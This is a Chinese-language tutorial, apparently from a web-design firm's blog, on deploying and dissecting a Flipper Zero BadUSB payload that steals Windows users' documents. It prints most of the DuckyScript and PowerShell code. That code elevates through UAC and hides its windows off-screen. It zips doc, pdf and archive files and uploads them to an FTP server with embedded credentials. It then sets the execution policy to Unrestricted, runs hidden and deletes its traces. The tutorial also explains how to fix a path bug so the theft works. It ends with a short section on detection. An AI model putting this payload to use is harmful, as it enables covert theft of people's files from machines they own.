Flipper Zero BadUSB 文档外传载荷实战:Document_Exfil 脚本配置、DuckyScript 源码拆解与 FTP 回传原理

发布时间:2026/9/14 5:50:42
Flipper Zero BadUSB 文档外传载荷实战:Document_Exfil 脚本配置、DuckyScript 源码拆解与 FTP 回传原理 Flipper Zero BadUSB 文档外传载荷实战Document_Exfil 脚本配置、DuckyScript 源码拆解与 FTP 回传原理【免费下载链接】FlipperPlayground (and dump) of stuff I make or modify for the Flipper Zero项目地址: https://gitcode.com/GitHub_Trending/fl/Flipper本文以 Document_Exfil 目录 中的文档及其配套载荷 Exfiltrate_Documents.txt 为主线完整讲解一款面向 Windows 的文档外传Exfiltration型 BadUSB 脚本如何在 Flipper Zero 上部署、如何配置 FTP 服务端信息、脚本每一段 DuckyScript/PowerShell 代码的执行逻辑以及与之相关的提权、窗口隐藏、ZIP 打包与自清理原理。读完本文你将具备将该载荷迁移到自有测试环境、按需裁剪并基于源码理解其攻防机理的能力。声明本仓库 BadUSB/UNC0V3R3D-BadUSB-Collection/README.md 明确说明该合集仅用于教育目的educational purposes only并要求运行任何脚本前获得目标机所有人的许可。本文所有分析仅限在本人授权设备与隔离虚拟机中复现验证。一、脚本概述与完整工作流程根据文档 readme.mdExfiltrate_Documents.txt的定位是This script will exfiltrate documents stored on the pc and upload them to a ftp server.即枚举目标 PC 上的文档类文件打包压缩后通过 FTP 上传到攻击者指定的服务器。文档列出的功能特性Features共三点打开 PowerShellopen powershell外传文档exfiltrate documents上传文档到 FTP 服务器upload documents to ftp server结合 Exfiltrate_Documents.txt 的完整源码共 114 行其实际执行链路可以划分为五个阶段阶段载荷行号行为1. 提权与脚本落地L6-L20通过运行框拉起管理员态记事本把后续 PowerShell 代码逐行键入并以.ps1落盘2. HTML 报告生成与文档枚举L21-L41在用户目录创建带时间戳的报告文件夹用ConvertTo-Html生成含样式的报告页并枚举文档3. ZIP 打包L43-L69通过shell.applicationCOM 对象把报告目录压缩为C:\Windows\Report.zip4. FTP 上传与自清理L71-L85用System.Net.WebClient.UploadFile上传 zip随后递归删除报告目录、zip 与脚本本体5. 静默执行L87-L114保存.ps1后以管理员 cmd 放开执行策略并用隐藏窗口运行该脚本整份载荷以DuckyScript 1.0BadUSB 通用脚本语言编写PowerShell 内嵌其中完成系统级操作。仓库 README.md 也印证了这一组合思路合集约 97% 的 DuckyScript 都依赖 PowerShell 获得对机器的完全控制。二、部署到 Flipper Zero按 UNC0V3R3D 合集 README 的说明部署只需两步克隆/下载仓库到本地使用qFlipperPC 端或 Flipper Zero 手机 App将脚本文件传入设备。在 PC 上使用 qFlipper 的具体路径为qFlipper -- SD Card -- badusb -- Move the files here即把 Exfiltrate_Documents.txt 复制进 SD 卡的badusb目录即可。运行时在 Flipper 上进入BadUSB分类选中脚本连接目标 PC 的 USB 口按中间键启动。新手上路建议按仓库 README 的指引先用一个无害脚本例如在记事本里画 ASCII 的脚本在自己的电脑上验证流程确认链路无误后再测试本文的文档外传载荷并强烈建议在虚拟机中测试——仓库 README 明确警告部分脚本可能对系统造成严重损害potentially harm your system。三、使用前的必要配置FTP 服务端信息文档强调This script is not plug and play.该脚本并非开箱即用使用前必须修改配置。唯一必需的改动点就是载荷第 73 行STRING $ftpAddr ftp://username:passwordftp.host.com/Report.zip需要替换的字段包括字段示例说明usernameattackerFTP 账号passwordPssw0rdFTP 密码ftp.host.com203.0.113.10或域名FTP 服务器地址Report.zip可改文件名服务器端保存的文件名对应本地打包产物C:\Windows\Report.zip修改方法将目标行整体替换为你自己的 FTP 凭据串。注意该行是STRING指令Flipper 会以键盘输入方式把整行文本键入记事本因此必须保持单行、不要换行否则键入的 PowerShell 语句会被截断而产生语法错误。从源码看上传使用 .NET 的System.Net.WebClient第 75-79 行它支持ftp://user:passhost/file形式的 URI因此密码直接明文内嵌在脚本中。这意味着任何能读到脚本内容的人都等于拿到了你的 FTP 凭据实际使用时应使用一次性凭据并在测试完成后轮换。四、载荷源码逐段拆解下面按执行顺序逐段分析 Exfiltrate_Documents.txt 的实现细节。阶段一提权并借记事本写入脚本L6-L20DELAY 800 GUI r DELAY 1000 STRING powershell Start-Process notepad -Verb runAs ENTER DELAY 800 ALT y DELAY 800 ENTER ALT SPACE DELAY 1000 STRING m DELAY 1000 DOWNARROW REPEAT 100 ENTERGUI r打开运行对话框DELAY单位为毫秒这里的DELAY 800/1000是为等待系统响应留出缓冲。通过powershell Start-Process notepad -Verb runAs以管理员身份启动记事本ALT y是确认 Windows UAC 弹窗YesENTER再次确认。此后我们获得的记事本进程已具备管理员权限。ALT SPACE打开窗口系统菜单STRING m选择移动Move随后DOWNARROWREPEAT 100把窗口反复向下移动 100 次使记事本移出可视屏幕区域避免用户看到正在被键入的内容——这是 BadUSB 脚本常见的屏幕外输入隐身技巧。从STRING指令开始后续每行都是一个完整的 PowerShell 语句被逐行键入到记事本中。换句话说记事本在这里充当了键盘输入的文件写入器利用记事本另存功能把整段脚本保存为.ps1文件详见阶段五。阶段二HTML 报告生成与文档枚举L21-L41$folderDateTime (get-date).ToString(d-M-y HHmmss) $userDir (Get-ChildItem env:\userprofile).value \Ducky Report $folderDateTime $fileSaveDir New-Item ($userDir) -ItemType Directory以日-月-年 时分秒格式生成时间戳拼出%USERPROFILE%\Ducky Report 时间戳目录并创建。每个报告目录彼此独立便于区分多次运行结果。$style style table td{...}#body {...}#left{...}#right{...}#center{...} /style $Report ConvertTo-Html -Title Recon Report -Head $style $fileSaveDir/ComputerInfo.html用ConvertTo-Html生成 HTML 报告的头部含一段完整的嵌入式 CSS黑边框、灰底两栏布局、居中滚动区等先落盘为ComputerInfo.html后续内容再追加。$Report $Report div idbodyh1Duck Tool Kit Report/h1hr size2brh3 Generated on: $Date /h3br $Report $Report div idcenterh3User Documents (doc,docx,pdf,rar)/h3 $Report $Report (Get-ChildItem -Path $userDir -Include *.doc, *.docx, *.pdf, *.zip, *.rar -Recurse |convertto-html Directory, Name, LastAccessTime) $Report $Report /div $Report $fileSaveDir/ComputerInfo.html报告主体包含生成时间以及一个用户文档区块——通过Get-ChildItem -Include *.doc, *.docx, *.pdf, *.zip, *.rar -Recurse递归枚举扩展名在doc/docx/pdf/zip/rar范围内的文件并用convertto-html输出目录、文件名、最后访问时间三列最后追加写入 HTML 文件。从源码结构看一个值得注意的点第 37 行Get-ChildItem的搜索路径被设定为$userDir——即上一步刚刚创建的、还是空的报告目录本身。这意味着默认状态下该枚举结果几乎必然为空原脚本的意图很可能是扫描%USERPROFILE%\Documents等真实文档目录。实际操作者需把该行的-Path $userDir改为如-Path $env:USERPROFILE并配合-Recurse才能真正搜到用户文档。这一路径指向自身的细节恰恰说明外传脚本落地前必须在自己的测试环境里逐行验证不能直接照搬。阶段三ZIP 打包L43-L69function copy-ToZip($fileSaveDir){ $srcdir $fileSaveDir $zipFile C:\Windows\Report.zip if(-not (test-path($zipFile))) { set-content $zipFile (PK [char]5 [char]6 ($([char]0) * 18)) (dir $zipFile).IsReadOnly $false} $shellApplication new-object -com shell.application $zipPackage $shellApplication.NameSpace($zipFile) $files Get-ChildItem -Path $srcdir foreach($file in $files) { $zipPackage.CopyHere($file.FullName) while($zipPackage.Items().Item($file.name) -eq $null){ Start-sleep -seconds 1 }}} copy-ToZip($fileSaveDir)打包目标固定在C:\Windows\Report.zip。若 zip 不存在先写入一个手工构造的 ZIP 魔数头PK [char]5 [char]6 18 个 \0即PK\x05\x06——ZIP 的End of Central Directory 记录使文件被识别为合法 zip随后取消只读属性。这是经典的无压缩库空 zip 占位技巧。接着创建Shell.ApplicationCOM 对象把报告目录内所有文件通过CopyHere逐个拷入 zip。while($zipPackage.Items().Item($file.name) -eq $null){ Start-sleep -1 }是一个同步等待阻塞轮询直到文件出现在 zip 中才继续规避CopyHere异步执行导致的拷贝未完成问题。阶段四FTP 上传与自清理L71-L85$final C:\Windows\Report.zip $ftpAddr ftp://username:passwordftp.host.com/Report.zip $browser New-Object System.Net.WebClient $url New-Object System.Uri($ftpAddr) $browser.UploadFile($url, $final) remove-item $fileSaveDir -recurse remove-item C:\Windows\Report.zip Remove-Item $MyINvocation.InvocationName第 73 行即文档要求修改的 FTP 配置行。System.Net.WebClient.UploadFile把本地 zip 以 FTP 方式推送到服务器这是整个外传动作的最终落点。上传完成后进入清理递归删除报告目录、删除C:\Windows\Report.zip最后Remove-Item $MyINvocation.InvocationName尝试删除正在运行的.ps1脚本自身尽量消除磁盘痕迹。阶段五落盘并静默执行L87-L114CTRL s DELAY 800 STRING C:\Windows\config-58477.ps1 ENTER DELAY 1000 ALT F4 DELAY 800 GUI r DELAY 800 STRING powershell Start-Process cmd -Verb runAs ENTER DELAY 800 ALT y DELAY 1000 STRING mode con:cols14 lines1 ENTER ALT SPACE DELAY 800 STRING m DELAY 1000 DOWNARROW REPEAT 100 ENTER STRING powershell Set-ExecutionPolicy Unrestricted -Scope CurrentUser -Confirm:$false ENTER DELAY 800 STRING powershell.exe -windowstyle hidden -File C:\Windows\config-58477.ps1 ENTERCTRL s打开记事本另存为对话框键入C:\Windows\config-58477.ps1保存——文件名刻意伪装成系统配置文件风格增强隐蔽性ALT F4关闭记事本。再次通过运行框以管理员启动cmdpowershell Start-Process cmd -Verb runAsALT y确认 UAC。mode con:cols14 lines1把控制台窗口缩到最小随后同样的ALT SPACE/m/DOWNARROWREPEAT 100把 cmd 窗口移出屏幕。Set-ExecutionPolicy Unrestricted -Scope CurrentUser -Confirm:$false将当前用户的 PowerShell 执行策略放开为Unrestricted并静默确认——这是绕过默认禁止运行脚本限制的关键一步。最后powershell.exe -windowstyle hidden -File C:\Windows\config-58477.ps1以隐藏窗口方式执行阶段二至四写好的外传脚本整个链条闭合。五、关键技术点原理剖析5.1 UAC 提权与确认脚本两处提权L8、L96都使用powershell Start-Process 程序 -Verb runAs触发 UAC 提权弹窗再以ALT yENTER确认。需要注意的是ALT y能否生效取决于系统 UAC 设置默认同意按钮聚焦时通常有效若系统将 UAC 等级调至最高或按钮焦点异常脚本会卡在弹窗阶段——这也是排错时首先要检查的环节。5.2 屏幕外输入窗口隐藏术ALT SPACE系统菜单→m移动→ 长按DOWNARROWREPEAT 100是把窗口移出屏幕的标准组合。源码中两次使用L14-L19、L104-L108确保记事本与 cmd 窗口都不干扰用户、也不暴露输入过程。5.3 FTP 回传的 .NET 实现第 75-79 行使用System.Net.WebClient其UploadFile(Uri, localFile)对ftp://协议直接执行上传无需额外 FTP 客户端。凭据用户名、密码均以明文内嵌 URI属于该脚本最大的可追溯特征防御方可借此特征做检测。5.4 执行策略放开与隐藏执行第 110-113 行先Set-ExecutionPolicy Unrestricted -Scope CurrentUser再用-windowstyle hidden -File运行脚本二者组合完成绕过执行策略 无窗口执行。若目标机的组策略强制锁定执行策略-Scope CurrentUser会失败脚本随之中断——这是该载荷在受管企业环境下的天然局限。5.5 手工构造 ZIP 占位文件第 51 行set-content $zipFile (PK [char]5 [char]6 ...)写入的PK\x05\x06是 ZIP 格式的 End of Central Directory 签名。有了合法文件头Shell.Application才能将其识别为可写压缩包。理解这一点就能明白为什么先建空 zip 再 CopyHere是可行的。六、DuckyScript 语法速览与常见排错该脚本用到的 DuckyScript 1.0 指令也是阅读其他载荷的基础指令作用本文中的用法REM注释文件头部作者、描述、版本、分类信息DELAY ms延时单位毫秒DELAY 800/1000等待系统响应GUI key按 Win 组合键GUI r打开运行框STRING text逐字符键入文本键入整段 PowerShell 代码ENTER回车确认命令、UAC、对话框ALT keyAlt 组合键ALT y确认 UAC、ALT SPACE系统菜单、ALT F4关闭窗口CTRL keyCtrl 组合键CTRL s保存文件DOWNARROW/REPEAT n方向键 / 重复上一指令 n 次把窗口移出屏幕仓库 README.md 的 Troubleshooting 章节针对常见运行失败给出了三条经验直接适用于本脚本的调试乱开程序 / 内容输错位置多为指令间DELAY过短系统来不及响应。把对应DELAY 500调大如DELAY 700即可缓解。报ERROR: line 5之类的解析错误优先检查脚本里是否有多余的空行其次确认没有LOCALE指令——Flipper 上它不能可靠工作最后检查报错行行首是否有多余空格。整体节奏不稳定在真实机器上按键注入有延迟波动建议先在虚拟机中反复测试并微调各阶段DELAY值。七、安全边界与合规使用建议该脚本是典型的即插即用、后果自负型外传载荷使用与防御两个视角都值得明确使用者仅限授权测试只在你拥有或已获书面授权的设备上运行仓库 SECURITY.md 与合集 README 均声明作者不承担任何误用责任。建议在隔离虚拟机中先行验证修改 FTP 凭据后务必轮换防止明文凭据泄露。若需部署到真实 Flipper注意脚本中C:\Windows\config-58477.ps1、C:\Windows\Report.zip均为固定路径多台设备复用会被防御方轻易关联。防御者检测视角该脚本的所有证据链条都很显眼UAC 弹窗、管理员级记事本、C:\Windows下新增的.ps1/zip、Set-ExecutionPolicy变更、指向可疑 FTP 域名的WebClient.UploadFile网络连接。通过 EDR 监控 PowerShell 的-windowstyle hidden -File执行、shell.applicationCOM 对象使用、以及ftp://出站流量即可有效覆盖此类载荷同时保持 UAC 默认启用、执行策略组策略托管可显著提高攻击门槛。本文对应的完整源码与配套文档分别位于 Exfiltrate_Documents.txt 和 readme.md同目录 Exfiltration 下还收录了 Firefox 数据外传、SAM 哈希提取、IP 上报 Discord 等十余个同类载荷可一并对照学习合集总览与新手教程见 BadUSB/UNC0V3R3D-BadUSB-Collection/README.md。【免费下载链接】FlipperPlayground (and dump) of stuff I make or modify for the Flipper Zero项目地址: https://gitcode.com/GitHub_Trending/fl/Flipper创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

关于本文作者

来自尧图内容编辑团队

尧图内容编辑团队 内容团队

尧图内容编辑团队

本文由尧图网络内容编辑团队执笔。团队由资深项目经理、前端工程师与设计师组成,所有内容均来自亲手交付的真实项目,先讲清问题、再给出可落地的解法。尧图深耕北京网站建设十年,服务过京华建材集团、智造科技等各行业客户,把一线经验沉淀为可复用的行业观察。

  • 十年建站经验,覆盖建材、制造、服务、文创等
  • 项目经理把关选题与事实准确性
  • 工程师与设计师联合撰写专业细节
  • 统一编辑规范,保证文风与排版一致
  • 每月复盘转化数据,迭代选题方向

延伸阅读

相关资讯与近期热门内容

深度阅读推荐

建站决策前值得细读的三篇

网站改版的5个关键决策
2024-08-12

网站改版的5个关键决策

什么时候该改版、改到什么程度、如何避免流量掉光,京华建材集团改版复盘给出答案。

获取专属建站方案

看完文章,把您的行业与预算告诉我们,免费获取一份量身定制的官网建设方案与报价。

立即免费咨询